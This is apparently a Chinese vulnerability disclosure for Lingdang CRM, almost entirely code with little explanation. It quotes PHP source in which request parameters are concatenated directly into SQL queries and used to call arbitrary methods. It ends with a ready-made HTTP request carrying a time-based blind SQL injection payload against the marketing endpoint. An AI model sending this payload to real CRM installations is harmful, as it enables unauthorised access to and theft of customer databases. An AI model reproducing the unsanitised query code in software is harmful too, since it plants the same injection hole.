灵当CRM存在前台SQL注入漏洞

<?phpheader("Access-Control-Allow-Origin:*");error_reporting(E_ALL^E_NOTICE^E_WARNING);header('Content-Type:text/html;charset=UTF-8');header("Access-Control-Allow-Methods: GET, POST, OPTIONS");header("Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With");$root_dir=dirname(dirname(dirname(__FILE__)));//获取根目录include($root_dir.'/includefile.php');// require_once($root_dir.'/include/Zend/Json.php');require_once($root_dir.'/WeiXinApp/marketing/controller/WxCrawler.php');require_once($root_dir.'/WeiXinApp/marketing/controller/WxUsers.php');require_once($root_dir.'/WeiXinApp/marketing/controller/WxArticles.php');require_once($root_dir.'/WeiXinApp/marketing/controller/WxAmbassador.php');require_once($root_dir.'/WeiXinApp/marketing/controller/SmsSender.php');require_once($root_dir.'/WeiXinApp/marketing/controller/WxOrder.php');$obj = new  WechatPublic($root_dir);/*** * 此处支持的是微信的授权用户入表操作 */if(isset($_REQUEST['function'])){    $function = $_REQUEST["function"];    $res = $obj->$function();    echo ldcrm_json_encode($res);}// action module/** * 此处支持的是微信获客文章常用-获取文章列表详情等等 */$module = $_REQUEST['module'];global $adb;switch ($module){    case "Articles":$controller = new WxArticles($adb,$root_dir);break;    case "Users":$controller = new WxUsers($adb,$root_dir);break;    case "Ambassador":$controller = new WxAmbassador($adb,$root_dir);break;    case "SmsSender":$controller = new SmsSender($adb,$root_dir);break;    case "WxOrder":$controller = new WxOrder($adb,$root_dir);break;    default :$controller = new WechatPublic($root_dir);break;}if(isset($_REQUEST['action'])){    $action  = $_REQUEST['action'];    $res = $controller->$action();    if($action!="viewpdf"){        if(isset($res['code'])){            $code = $res['code'];            unset($res['code']);        }else{            $code = 1;        }        $_REQUEST['diony'] = 'yes';        ConvertTojsonString($code,$res,'success');    }}

/**     * @return array[]     * @throws Exception     * 获取当前用户来访客户日志列表 like点赞  look浏览  share转发  copy转载（领取）     */public function getActionList(){    $userid = $_REQUEST['userid'];    $operate = $_REQUEST['operate'];    $keyWords = $_REQUEST['keyWords'];    $page = $_REQUEST['page'];    $limit = 10;    $start = $page*$limit;    $where = "";    if(empty($keyWords)){      $where .= " 1=1 ";    }else{      $where .= " (locate(trim('$keyWords'),u.nickname)>0) ";    }    if($operate == 'like'){      $where .= " and (l.type = 'like' or l.type = 'unlike')";    }else{      $where .= " and l.type = '".$operate."'";    }    //剔除自己的数据    $where .= " and l.wx_user_id<>".$userid;    //$select_sql = "select u.nickname,u.avatar,a.title,l.createdtime,l.type from ld_wx_user_log l left join ld_articles a on l.articlesid=a.articlesid left join ld_wx_users u on u.id=a.wx_user_id where wx_user_id = ? and ".$where;    $count_sql = "select distinct u.id from ld_wx_user_log l inner join ld_articles a on l.articlesid=a.articlesid left join ld_wx_users u on u.id=l.wx_user_id where a.wx_user_id = ? and a.deleted=0 and ".$where;    $count_res = $this->adb->pquery($count_sql,[$userid]);    $totalRows = $this->adb->num_rows($count_res);    $pages = ceil($totalRows/$limit);

GET /crm/WeiXinApp/marketing/index.php?module=Users&action=getActionList&userid=%27%20AND%20(SELECT%203408%20FROM%20(SELECT(SLEEP(5)))HtiS)--%20cbVc HTTP/1.1Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close